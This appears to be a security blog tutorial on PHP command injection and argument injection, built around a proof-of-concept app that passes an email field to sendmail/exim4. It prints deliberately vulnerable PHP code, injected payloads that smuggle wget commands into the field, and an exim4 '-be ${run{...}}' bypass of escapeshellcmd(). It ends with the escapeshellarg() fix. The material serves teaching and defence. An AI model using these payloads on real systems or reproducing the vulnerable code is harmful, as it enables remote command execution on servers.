Since this is the first post in which I talk about these two vulnerabilities, let me explain in a nutshell how they work. Command Injection occurs when we provide to any kind of command interpreter as sh/bash/cmd a string directly coming from an uncontrolled user input. An example of vulnerable code is detailed as follows:
popen("/usr/bin/touch ".$userInput,"r");
shell_exec("/usr/bin/touch ".$userInput);
passthru("/usr/bin/touch ".$userInput);
[...]
In these functions, if the user can control the $userInput string used by any of these functions, he or she could perform an a Command Injection attack as follows:
ss@email.com;wget http://127.0.0.1/test
ss@email.com|wget http://127.0.0.1/test
[...]
On the other hand, an Argument Injection is different; it is triggered when an attacker injects arguments/parameters to the Executable called by these functions. This situation happens when the user input is being filtered to escape only shell special characters,or is not possible to inject them, but the injection of spaces is totally possible. By using spaces, an attacker can forge a malicious string that adds arguments, parameters, or new options to the target executable, effectively amending its behaviour.
$escapedUserInput = escapeshellcmd($userInput);
popen("/usr/bin/touch ".$userInput,"r");
shell_exec("/usr/bin/touch ".$userInput);
passthru("/usr/bin/touch ".$userInput);
[...]
In an Argument Injection, the ability to exploit the vulnerability depends on the nature of the target executable. The capability to create a successful attack vector will depend on our knowledge of possible parameters/configurations of it. As a last resource, an attacker/we could try to create a low-level exploit in case the executable is a C binary, or to concatenate other vulnerabilies if it is a script. It all depends how deep into the rabbit hole the attacker is willing to go to exploit it.
The following bash script shows a useful way to debug Argument Injection attaks when the executable that is being employed is known / has been identified:
#!/bin/bash
cat > /tmp/outgoing-command
echo Received: $0 >> /tmp/outgoing-command
echo Received: $1 >> /tmp/outgoing-command
echo Received: $2 >> /tmp/outgoing-command
echo Received: $3 >> /tmp/outgoing-command
echo Received: $4 >> /tmp/outgoing-command
echo Received: $5 >> /tmp/outgoing-command
echo Received: $6 >> /tmp/outgoing-command
echo Received: $7 >> /tmp/outgoing-command
echo Received: $8 >> /tmp/outgoing-command
echo Received: $9 >> /tmp/outgoing-command
#... whatever more args we should like to capture
This will help us understand what is being passed from the side of the web app to the operating system executable. Later on we will use it to show how this PoC works.
The following PoC consists in a simple PHP web application that uses dangerous functions to perform a call to the sendmail/exim4 executable. The Command Injection takes place into the $emailFrom variable as the user input is not properly sanitized
if (isset($_POST['emailFrom']) and isset($_POST['emailTo']) and isset($_POST['body']) and !strcmp($_POST['submit'],'Command Injection')){
$emailTo = $_POST['emailTo'];
$emailFrom = $_POST['emailFrom'];
$body = $_POST['body'];
//Payload1 used here!
//Popen call pipe to the target process, is totally Command Injectable
//popen("/usr/sbin/sendmail -f".$emailFrom,"r");
//Same as Popen!
//shell_exec("/usr/sbin/sendmail -f".$emailFrom);
//Same as Popen!
//passthru("/usr/sbin/sendmail -f".$emailFrom);
//Same as Popen!
exec("/usr/sbin/sendmail -f".$emailFrom);
[...]
The way to test this Command Injection is very simple; we just provide the previous payloads in the “emailFrom” input and click Command Injection. By accessing to /var/log/apache2/access.log in the target PoC server, we can see that the “wget” command is being performed correctly.
In this example anything was escaped,so the payloads were obvious. Sometimes developers will try to mitigate these vulnerabilities by creating their own escaping functions. This usually introduces new errors that can be further exploited, so trying different payloads is always recommended.
Creativity and knowledge of the sh/bash/cmd software and Operating System will allow attackers to use complex attack vectors to exploit Command Injections. A good example of this was the famous bug CVE-2014-6271 ShellShock. In this case, the injection took place into system environment variables which were supposed to be safe, but this last bug made it critical in some CGI servers.
In the second option of the PoC we use a function accessible by PHP to escape possible dangerous shell characters that would allow an attacker to concatenate commands. The used code is as follows:
}elseif (isset($_POST['emailFrom']) and isset($_POST['emailTo']) and isset($_POST['body']) and !strcmp($_POST['submit'],'Argument Injection')) {
$emailTo = $_POST['emailTo'];
$emailFrom = escapeshellcmd($_POST['emailFrom']);
$body = $_POST['body'];
//Payload2 used here!
popen("/usr/sbin/sendmail -f".$emailFrom,"r");
//We can try using the rest of dangerous functions here!
This function will escape symbols as “;|{} …”. But this php function will not escape spaces, the injection of them will be the key to exploiting the Argument Injection. As I mentioned before, by analyzing the used executable, we are able to obtain an exploitation vector. The target executable is “sendmail”, which in most of Unix OS is a soft link to the target binary to study: “exim4”. Legal hackers has performed an outstanding study of it with, making his exploitation possible: PHPMAILER CVE-2016-10033
Coming from the link above, “exim4” has an argument “-be” that grants us access to run shell commands in the operating system. Basically, it is possible to run something like this in bash to test the functionality:
/usr/sbin/exim4 -be '${run{/usr/bin/id}}'
So at first instance, we would think that a payload like the following would easily to the job:
ss@email.com -be '${run{/usr/bin/wget http://127.0.0.1/test}}'
Unfortunately, this is not going to work. To easily figure out what is going on, we need to use the little bash script we mention before (commanddebugger inside the PoC) and configure the server where the PoC is running as follows:
ln -s /home/ubuntu/debugger /usr/sbin/sendmail
chmod +x /usr/sbin/sendmail
If we run again the previous payload, we can see at /tmp/outgoing-command in the following:
root@ubuntu:/home/ubuntu# cat /tmp/outgoing-command
Received: /usr/sbin/sendmail
Received: -fss@email.com
Received: -be
Received: \$\{run\{/usr/bin/wget http://127.0.0.1/test\}\}
Received:
Received:
This is thanks to escapeshellcmd() escaping every forbidden character inside closed quotes. If we try to use the same payload without quotes we will encounter another problem:
Payload:
ss@email.com -be ${run{/usr/bin/wget http://127.0.0.1/test}}
Debugger output:
root@ubuntu:/home/ubuntu# cat /tmp/outgoing-command
Received: /usr/sbin/sendmail
Received: -fss@email.com
Received: -be
Received: ${run{/usr/bin/wget
Received: http://127.0.0.1/test}}
Received:
Received:
The space that let us performing the Argument Injection now is backfiring our ability to exploit it. An awesome study by Legal Hackers about the target binary properties let us know that we can exploit the use of characters inside environmental variables strings of exim4 (more details in the previous link).
Payload:
ss@email.com -be ${run{/usr/bin/wget${substr{10}{1}{$tod_log}}http://127.0.0.1/test}}
Debugger output:
root@ubuntu:/home/ubuntu# cat /tmp/outgoing-command
Received: /usr/sbin/sendmail
Received: -fss@email.com
Received: -be
Received: ${run{/usr/bin/wget${substr{10}{1}{$tod_log}}http://127.0.0.1/test}}
Received:
Received:
Finally we achieve a successful Argument Injection exploitation.
In the last part of this PoC we use the right escape function to avoid the exploitation of these dangerous functions: escapeshellarg(). Add single quotes around the string so that neither spaces or any special bash symbols are interpreted by shell/bash.
Payload:
ss@email.com -be ${run{/usr/bin/wget${substr{10}{1}{$tod_log}}http://127.0.0.1/test}}
Debugger output:
root@ubuntu:/home/ubuntu# cat /tmp/outgoing-command
Received: /usr/sbin/sendmail
Received: -fss@email.com -be ${run{/usr/bin/wget${substr{10}{1}{$tod_log}}http://127.0.0.1/test}}
Received:
As we can see spaces are no longer effective; we can trust that our dangerous functions are as secure as possible.
In an attacker perspective, if we see data that could be passed as a string to a dangerous function like the following URL:
http://example.com/action?ping=<IP-STRING>
We should try a series of command Injection Payloads for a linux/windows based operating system and check if our external server has been reached. Argument Injection is much trickier. For that, we will need to figure out vulnerable 3PP (third party library software) used by the target web application.
From a defensive point of view, it is critical to escape any input that goes into dangerous functions. Defender should avoid abusing these functions to perform the application logic, but if he uses it, he should be very careful. The Dangerous Functions that I know so far will be listed here